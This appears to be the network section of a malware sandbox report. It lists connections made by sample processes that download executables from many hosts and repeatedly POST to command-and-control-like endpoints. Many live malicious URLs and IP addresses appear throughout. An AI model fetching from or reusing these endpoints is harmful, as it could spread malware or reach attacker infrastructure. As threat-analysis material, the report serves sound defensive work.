                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://connectini.net/ip/check.php?duplicate=kenpachi2_registry_goodchannel_lyloutta_PCCleanerPRO

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 88.99.66.31:443
                                                                                                                                                                                                                                          https://iplis.ru/1G8Fx7.mp3
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          1.2kB
                                                                                                                                                                                                                                          6.5kB
                                                                                                                                                                                                                                          10
                                                                                                                                                                                                                                          9

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://iplis.ru/1S2Qs7.mp3

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://iplis.ru/1G8Fx7.mp3

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 162.0.220.187:80
                                                                                                                                                                                                                                          http://requestimmersive.com/t7gu47xyp4mj4ekapans/zkau68gvw5aqjawnxpeg
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          4.3kB
                                                                                                                                                                                                                                          2.7kB
                                                                                                                                                                                                                                          25
                                                                                                                                                                                                                                          18

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://requestimmersive.com/t7gu47xyp4mj4ekapans/zkau68gvw5aqjawnxpeg

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://requestimmersive.com/t7gu47xyp4mj4ekapans/zkau68gvw5aqjawnxpeg

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://requestimmersive.com/t7gu47xyp4mj4ekapans/zkau68gvw5aqjawnxpeg

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://requestimmersive.com/t7gu47xyp4mj4ekapans/zkau68gvw5aqjawnxpeg

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://requestimmersive.com/t7gu47xyp4mj4ekapans/zkau68gvw5aqjawnxpeg

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://requestimmersive.com/t7gu47xyp4mj4ekapans/zkau68gvw5aqjawnxpeg

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://requestimmersive.com/t7gu47xyp4mj4ekapans/zkau68gvw5aqjawnxpeg

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 104.26.12.31:443
                                                                                                                                                                                                                                          https://api.ip.sb/geoip
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          1340993.exe
                                                                                                                                                                                                                                          753 B
                                                                                                                                                                                                                                          4.4kB
                                                                                                                                                                                                                                          9
                                                                                                                                                                                                                                          9

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://api.ip.sb/geoip

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 52.219.64.7:80
                                                                                                                                                                                                                                          http://7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws.com/Download/GameBox.exe
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          XcIoTauhzRXv_neuMWaGOxTR.tmp
                                                                                                                                                                                                                                          421 B
                                                                                                                                                                                                                                          648 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          6

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          HEAD http://7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws.com/Download/GameBox.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 52.219.64.7:80
                                                                                                                                                                                                                                          http://7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws.com/Download/GameBox.exe
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          XcIoTauhzRXv_neuMWaGOxTR.tmp
                                                                                                                                                                                                                                          140.4kB
                                                                                                                                                                                                                                          7.6MB
                                                                                                                                                                                                                                          2953
                                                                                                                                                                                                                                          5149

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws.com/Download/GameBox.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 194.145.227.159:80
                                                                                                                                                                                                                                          http://194.145.227.159/pub.php?pub=five
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          13.1kB
                                                                                                                                                                                                                                          797.9kB
                                                                                                                                                                                                                                          275
                                                                                                                                                                                                                                          539

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://194.145.227.159/pub.php?pub=five

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://194.145.227.159/pub.php?pub=five

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 104.26.12.31:443
                                                                                                                                                                                                                                          https://api.ip.sb/geoip
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          _t8eNnwX6KYKfXkwloHxOTPI.exe
                                                                                                                                                                                                                                          753 B
                                                                                                                                                                                                                                          4.4kB
                                                                                                                                                                                                                                          9
                                                                                                                                                                                                                                          9

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://api.ip.sb/geoip

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 172.67.148.61:443
                                                                                                                                                                                                                                          https://source3.boys4dayz.com/installer.exe
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          58.7kB
                                                                                                                                                                                                                                          3.7MB
                                                                                                                                                                                                                                          1265
                                                                                                                                                                                                                                          2508

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://source3.boys4dayz.com/installer.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 172.67.171.54:80
                                                                                                                                                                                                                                          http://cache.uutww77.com/juuu/ufgaa.exe
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          619 B
                                                                                                                                                                                                                                          5.3kB
                                                                                                                                                                                                                                          8
                                                                                                                                                                                                                                          8

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://cache.uutww77.com/juuu/ufgaa.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 208.95.112.1:80
                                                                                                                                                                                                                                          http://ip-api.com/json/?fields=8198
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          SystemNetworkService
                                                                                                                                                                                                                                          1.7kB
                                                                                                                                                                                                                                          1.2kB
                                                                                                                                                                                                                                          11
                                                                                                                                                                                                                                          7

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://ip-api.com/json/?fields=8198

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://ip-api.com/json/?fields=8198

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://ip-api.com/json/?fields=8198

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://ip-api.com/json/?fields=8198

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 116.121.62.237:80
                                                                                                                                                                                                                                          http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          678 B
                                                                                                                                                                                                                                          465 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://atvcampingtrips.com/upload/

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          404
                                                                                                                                                                                                                                        • 142.250.179.193:443
                                                                                                                                                                                                                                          https://script.googleusercontent.com/macros/echo?user_content_key=sV8K28jEe9QdxHD-fevmMclX-qD0tuztStt-wgUb8tvXqufqWvMo7ln6TdbJG-jhDPUZQV58fVUzjX11YDSSCP0rID8P66iYm5_BxDlH2jW0nuo2oDemN9CCS2h10ox_1xSncGQajx_ryfhECjZEnPhKCLyZq3DwHfqx-vNDfBxNiphd5qAR0ibuTxh7iJkSRySVufnhQmkdY4Wogr0tuKOIp7sEUsJ2&lib=M2KHH-rP8mk8ZTQoj1F9z5U17J_BaZEX1
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          XcIoTauhzRXv_neuMWaGOxTR.tmp
                                                                                                                                                                                                                                          1.3kB
                                                                                                                                                                                                                                          9.3kB
                                                                                                                                                                                                                                          11
                                                                                                                                                                                                                                          13

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://script.googleusercontent.com/macros/echo?user_content_key=sV8K28jEe9QdxHD-fevmMclX-qD0tuztStt-wgUb8tvXqufqWvMo7ln6TdbJG-jhDPUZQV58fVUzjX11YDSSCP0rID8P66iYm5_BxDlH2jW0nuo2oDemN9CCS2h10ox_1xSncGQajx_ryfhECjZEnPhKCLyZq3DwHfqx-vNDfBxNiphd5qAR0ibuTxh7iJkSRySVufnhQmkdY4Wogr0tuKOIp7sEUsJ2&lib=M2KHH-rP8mk8ZTQoj1F9z5U17J_BaZEX1

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          302
                                                                                                                                                                                                                                        • 172.217.17.78:443
                                                                                                                                                                                                                                          https://script.google.com/macros/s/AKfycbwH7hUWqpmm7daiuKSB1dBmB6ffukls2auxLYW9CveueIYQ5CE/exec
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          XcIoTauhzRXv_neuMWaGOxTR.tmp
                                                                                                                                                                                                                                          972 B
                                                                                                                                                                                                                                          9.0kB
                                                                                                                                                                                                                                          10
                                                                                                                                                                                                                                          13

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://script.google.com/macros/s/AKfycbwH7hUWqpmm7daiuKSB1dBmB6ffukls2auxLYW9CveueIYQ5CE/exec

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          302
                                                                                                                                                                                                                                        • 116.121.62.237:80
                                                                                                                                                                                                                                          http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          732 B
                                                                                                                                                                                                                                          793 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://atvcampingtrips.com/upload/

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          404
                                                                                                                                                                                                                                        • 172.67.145.110:443
                                                                                                                                                                                                                                          https://a.goatagame.com/userf/25/anyname.exe
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          956 B
                                                                                                                                                                                                                                          4.9kB
                                                                                                                                                                                                                                          9
                                                                                                                                                                                                                                          10

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://a.goatagame.com/userf/25/anyname.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          302
                                                                                                                                                                                                                                        • 172.67.161.96:443
                                                                                                                                                                                                                                          https://bb.goatggame.com/userf/25/57482a8d5afd71ead774543ddd55b203.exe
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          2.5kB
                                                                                                                                                                                                                                          101.0kB
                                                                                                                                                                                                                                          42
                                                                                                                                                                                                                                          76

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://bb.goatggame.com/userf/25/57482a8d5afd71ead774543ddd55b203.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 104.21.31.210:443
                                                                                                                                                                                                                                          https://a.upstloans.net/report7.4.php
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          SystemNetworkService
                                                                                                                                                                                                                                          1.5kB
                                                                                                                                                                                                                                          4.6kB
                                                                                                                                                                                                                                          13
                                                                                                                                                                                                                                          11

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST https://a.upstloans.net/report7.4.php

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 116.121.62.237:80
                                                                                                                                                                                                                                          http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          889 B
                                                                                                                                                                                                                                          510 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://atvcampingtrips.com/upload/

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          404
                                                                                                                                                                                                                                        • 88.99.66.31:443
                                                                                                                                                                                                                                          https://iplogger.org/1Xxky7
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          839 B
                                                                                                                                                                                                                                          6.3kB
                                                                                                                                                                                                                                          10
                                                                                                                                                                                                                                          10

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://iplogger.org/1Xxky7

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 213.252.246.131:80
                                                                                                                                                                                                                                          garbage-cleaner.biz
                                                                                                                                                                                                                                          GcleanerEU.exe
                                                                                                                                                                                                                                          156 B
                                                                                                                                                                                                                                          120 B
                                                                                                                                                                                                                                          3
                                                                                                                                                                                                                                          3
                                                                                                                                                                                                                                        • 142.250.179.193:443
                                                                                                                                                                                                                                          https://script.googleusercontent.com/macros/echo?user_content_key=sV8K28jEe9QdxHD-fevmMclX-qD0tuztStt-wgUb8tvXqufqWvMo7ln6TdbJG-jhDPUZQV58fVUzjX11YDSSCP0rID8P66iYm5_BxDlH2jW0nuo2oDemN9CCS2h10ox_1xSncGQajx_ryfhECjZEnPhKCLyZq3DwHfqx-vNDfBxNiphd5qAR0ibuTxh7iJkSRySVufnhQmkdY4Wogr0tuKOIp7sEUsJ2&lib=M2KHH-rP8mk8ZTQoj1F9z5U17J_BaZEX1
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          XcIoTauhzRXv_neuMWaGOxTR.tmp
                                                                                                                                                                                                                                          11.4kB
                                                                                                                                                                                                                                          542.2kB
                                                                                                                                                                                                                                          216
                                                                                                                                                                                                                                          391

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://script.googleusercontent.com/macros/echo?user_content_key=ZLUlWltPG0pZXS2nysXN3R_u62onUTn1ltQG-K0Lv-RDbVhROnoJN31V3JsCjQcflWDabeTOhUMUwXbGyDNfUN14BuvLy_Xbm5_BxDlH2jW0nuo2oDemN9CCS2h10ox_1xSncGQajx_ryfhECjZEnPhKCLyZq3DwHfqx-vNDfBxNiphd5qAR0ibuTxh7iJkSRySVufnhQmkdY4Wogr0tuKOIp7sEUsJ2&lib=M2KHH-rP8mk8ZTQoj1F9z5U17J_BaZEX1

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://script.googleusercontent.com/macros/echo?user_content_key=sV8K28jEe9QdxHD-fevmMclX-qD0tuztStt-wgUb8tvXqufqWvMo7ln6TdbJG-jhDPUZQV58fVUzjX11YDSSCP0rID8P66iYm5_BxDlH2jW0nuo2oDemN9CCS2h10ox_1xSncGQajx_ryfhECjZEnPhKCLyZq3DwHfqx-vNDfBxNiphd5qAR0ibuTxh7iJkSRySVufnhQmkdY4Wogr0tuKOIp7sEUsJ2&lib=M2KHH-rP8mk8ZTQoj1F9z5U17J_BaZEX1

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          302
                                                                                                                                                                                                                                        • 172.217.17.78:443
                                                                                                                                                                                                                                          https://script.google.com/macros/s/AKfycbwH7hUWqpmm7daiuKSB1dBmB6ffukls2auxLYW9CveueIYQ5CE/exec
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          XcIoTauhzRXv_neuMWaGOxTR.tmp
                                                                                                                                                                                                                                          972 B
                                                                                                                                                                                                                                          9.0kB
                                                                                                                                                                                                                                          10
                                                                                                                                                                                                                                          13

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://script.google.com/macros/s/AKfycbwH7hUWqpmm7daiuKSB1dBmB6ffukls2auxLYW9CveueIYQ5CE/exec

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          302
                                                                                                                                                                                                                                        • 111.90.156.58:80
                                                                                                                                                                                                                                          http://fsstoragecloudservice.com/campaign3/autosubplayer.exe
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          502 B
                                                                                                                                                                                                                                          1.2kB
                                                                                                                                                                                                                                          5
                                                                                                                                                                                                                                          6

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://fsstoragecloudservice.com/campaign3/autosubplayer.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          503
                                                                                                                                                                                                                                        • 45.138.172.28:80
                                                                                                                                                                                                                                          http://45.138.172.28/blog/images/kl6.exe
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          60.8kB
                                                                                                                                                                                                                                          3.8MB
                                                                                                                                                                                                                                          1318
                                                                                                                                                                                                                                          2582

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://45.138.172.28/blog/images/kl6.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 81.177.181.145:80
                                                                                                                                                                                                                                          http://garbage-cleaner.biz/check.php?pub=eufive&user=Admin
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          GcleanerEU.exe
                                                                                                                                                                                                                                          662 B
                                                                                                                                                                                                                                          582 B
                                                                                                                                                                                                                                          7
                                                                                                                                                                                                                                          5

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://garbage-cleaner.biz/stats/first.php?name=GcleanerEU.exe&pub=/eufive%20

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://garbage-cleaner.biz/check.php?pub=eufive&user=Admin

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 142.250.179.193:443
                                                                                                                                                                                                                                          https://script.googleusercontent.com/macros/echo?user_content_key=ImpU0ytGtCH6c9pu_R2u6nF0vpgm4eJLvXBnNJdPESRBliNnYFMoMETXqdLePL2cf1EjqR1NvNcUwXbGyDNfUCxjSwfB97OHm5_BxDlH2jW0nuo2oDemN9CCS2h10ox_1xSncGQajx_ryfhECjZEnPhKCLyZq3DwHfqx-vNDfBxNiphd5qAR0ibuTxh7iJkSRySVufnhQmkdY4Wogr0tuKOIp7sEUsJ2&lib=M2KHH-rP8mk8ZTQoj1F9z5U17J_BaZEX1
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          XcIoTauhzRXv_neuMWaGOxTR.tmp
                                                                                                                                                                                                                                          10.2kB
                                                                                                                                                                                                                                          548.4kB
                                                                                                                                                                                                                                          205
                                                                                                                                                                                                                                          390

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://script.googleusercontent.com/macros/echo?user_content_key=ImpU0ytGtCH6c9pu_R2u6nF0vpgm4eJLvXBnNJdPESRBliNnYFMoMETXqdLePL2cf1EjqR1NvNcUwXbGyDNfUCxjSwfB97OHm5_BxDlH2jW0nuo2oDemN9CCS2h10ox_1xSncGQajx_ryfhECjZEnPhKCLyZq3DwHfqx-vNDfBxNiphd5qAR0ibuTxh7iJkSRySVufnhQmkdY4Wogr0tuKOIp7sEUsJ2&lib=M2KHH-rP8mk8ZTQoj1F9z5U17J_BaZEX1

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 116.121.62.237:80
                                                                                                                                                                                                                                          http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          891 B
                                                                                                                                                                                                                                          793 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://atvcampingtrips.com/upload/

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          404
                                                                                                                                                                                                                                        • 116.121.62.237:80
                                                                                                                                                                                                                                          http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          787 B
                                                                                                                                                                                                                                          793 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://atvcampingtrips.com/upload/

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          404
                                                                                                                                                                                                                                        • 104.21.79.144:443
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/sqlite.dll
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          anyname.exe
                                                                                                                                                                                                                                          13.1kB
                                                                                                                                                                                                                                          686.3kB
                                                                                                                                                                                                                                          270
                                                                                                                                                                                                                                          517

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://a.goatgame.co/userf/dat/25/sqlite.dat

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://a.goatgame.co/userf/dat/sqlite.dll

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 188.124.36.242:25802
                                                                                                                                                                                                                                          http://188.124.36.242:25802/
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          440B.exe
                                                                                                                                                                                                                                          1.1kB
                                                                                                                                                                                                                                          5.7kB
                                                                                                                                                                                                                                          9
                                                                                                                                                                                                                                          10

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://188.124.36.242:25802/

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://188.124.36.242:25802/

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 54.243.129.215:443
                                                                                                                                                                                                                                          https://paybiz.herokuapp.com/stinstaller/ALL_INSTALLS_REPORT_OPEN/Cleaner/A/empty/empty/395c8595-63a7-4f0f-90a6-c51cd6710e04/49.1/empty
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          MsiExec.exe
                                                                                                                                                                                                                                          1.6kB
                                                                                                                                                                                                                                          6.5kB
                                                                                                                                                                                                                                          19
                                                                                                                                                                                                                                          16

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST https://paybiz.herokuapp.com/stinstaller/ALL_INSTALLS_REPORT_OPEN/Cleaner/A/empty/empty/395c8595-63a7-4f0f-90a6-c51cd6710e04/49.1/empty

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 116.121.62.237:80
                                                                                                                                                                                                                                          http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          873 B
                                                                                                                                                                                                                                          793 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://atvcampingtrips.com/upload/

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          404
                                                                                                                                                                                                                                        • 172.67.179.248:443
                                                                                                                                                                                                                                          https://b.upstloans.net/report7.4.php
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          SystemNetworkService
                                                                                                                                                                                                                                          1.5kB
                                                                                                                                                                                                                                          4.6kB
                                                                                                                                                                                                                                          13
                                                                                                                                                                                                                                          11

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST https://b.upstloans.net/report7.4.php

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 213.252.246.131:80
                                                                                                                                                                                                                                          garbage-cleaner.biz
                                                                                                                                                                                                                                          gcleaner.exe
                                                                                                                                                                                                                                          156 B
                                                                                                                                                                                                                                          120 B
                                                                                                                                                                                                                                          3
                                                                                                                                                                                                                                          3
                                                                                                                                                                                                                                        • 104.21.31.210:443
                                                                                                                                                                                                                                          https://a.upstloans.net/report7.4.php
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          SystemNetworkService
                                                                                                                                                                                                                                          1.5kB
                                                                                                                                                                                                                                          1.4kB
                                                                                                                                                                                                                                          10
                                                                                                                                                                                                                                          8

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST https://a.upstloans.net/report7.4.php

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 116.121.62.237:80
                                                                                                                                                                                                                                          http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          691 B
                                                                                                                                                                                                                                          514 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://atvcampingtrips.com/upload/

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          404
                                                                                                                                                                                                                                        • 104.21.31.210:443
                                                                                                                                                                                                                                          https://a.upstloans.net/report7.4.php
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          SystemNetworkService
                                                                                                                                                                                                                                          1.5kB
                                                                                                                                                                                                                                          1.4kB
                                                                                                                                                                                                                                          10
                                                                                                                                                                                                                                          8

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST https://a.upstloans.net/report7.4.php

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 81.177.181.145:80
                                                                                                                                                                                                                                          http://garbage-cleaner.biz/check.php?pub=mixfive&user=Admin
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          gcleaner.exe
                                                                                                                                                                                                                                          662 B
                                                                                                                                                                                                                                          582 B
                                                                                                                                                                                                                                          7
                                                                                                                                                                                                                                          5

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://garbage-cleaner.biz/stats/first.php?name=gcleaner.exe&pub=/mixfive%20

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://garbage-cleaner.biz/check.php?pub=mixfive&user=Admin

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 45.138.172.28:80
                                                                                                                                                                                                                                          http://45.138.172.28/blog/images/sefile2.exe
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          5.7kB
                                                                                                                                                                                                                                          338.9kB
                                                                                                                                                                                                                                          121
                                                                                                                                                                                                                                          233

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://45.138.172.28/blog/images/sefile2.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 116.121.62.237:80
                                                                                                                                                                                                                                          http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          857 B
                                                                                                                                                                                                                                          793 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://atvcampingtrips.com/upload/

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          404
